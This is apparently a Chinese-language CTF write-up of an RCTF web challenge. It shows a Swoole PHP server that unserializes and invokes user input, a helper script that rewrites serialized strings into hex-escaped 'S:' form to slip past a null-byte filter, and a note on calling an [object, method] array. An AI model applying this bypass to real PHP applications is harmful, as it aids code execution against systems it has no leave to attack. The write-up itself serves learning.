這次比賽,我只能說這就是RCTF? i了i了~~
這次有一道web題目,是關於反序列化的,這兒稍微記錄一下其中的知識點~
題目源碼
<?php
Swoole\Runtime::enableCoroutine($flags = SWOOLE_HOOK_ALL);
$http = new Swoole\Http\Server("0.0.0.0", 9501);
$http->on("request",
function (Swoole\Http\Request $request, Swoole\Http\Response $response) {
Swoole\Runtime::enableCoroutine();
$response->header('Content-Type', 'text/plain');
// $response->sendfile('/flag');
if (isset($request->get['phpinfo'])) {
// Prevent racing condition
// ob_start();phpinfo();
// return $response->end(ob_get_clean());
return $response->sendfile('phpinfo.txt');
}
if (isset($request->get['code'])) {
try {
$code = $request->get['code'];
if (!preg_match('/\x00/', $code)) {
$a = unserialize($code);
$a();
$a = null;
}
} catch (\Throwable $e) {
var_dump($code);
var_dump($e->getMessage());
// do nothing
}
return $response->end('Done');
}
$response->sendfile(__FILE__);
}
);
$http->start();
1、繞過%00
根據P牛的描述,我們可以直接將小寫s改爲大寫的S,然後後面的字符串可以用十六進制代替~
這兒直接給出處理php腳本,傳入的參數是序列化的字符串~
// bypass %00
function process_serialized($serialized) {
$new = '';
$last = 0;
$current = 0;
$pattern = '#\bs:([0-9]+):"#';
while(
$current < strlen($serialized) &&
preg_match(
$pattern, $serialized, $matches, PREG_OFFSET_CAPTURE, $current
)
)
{
$p_start = $matches[0][1];
$p_start_string = $p_start + strlen($matches[0][0]);
$length = $matches[1][0];
$p_end_string = $p_start_string + $length;
# Check if this really is a serialized string
if(!(
strlen($serialized) > $p_end_string + 2 &&
substr($serialized, $p_end_string, 2) == '";'
))
{
$current = $p_start_string;
continue;
}
$string = substr($serialized, $p_start_string, $length);
# Convert every special character to its S representation
$clean_string = '';
for($i=0; $i < strlen($string); $i++)
{
$letter = $string{$i};
$clean_string .= ctype_print($letter) && $letter != '\\' ?
$letter :
sprintf("\\%02x", ord($letter));
;
}
# Make the replacement
$new .=
substr($serialized, $last, $p_start - $last) .
'S:' . $matches[1][0] . ':"' . $clean_string . '";'
;
$last = $p_end_string + 2;
$current = $last;
}
$new .= substr($serialized, $last);
return $new;
}
2、 invoke的另類用法
直接看圖
<?php
class A {
public function foo() {
return "bar";
}
}
$a = new A();
$arr = [$a, "foo"];
echo $arr(); // print "bar"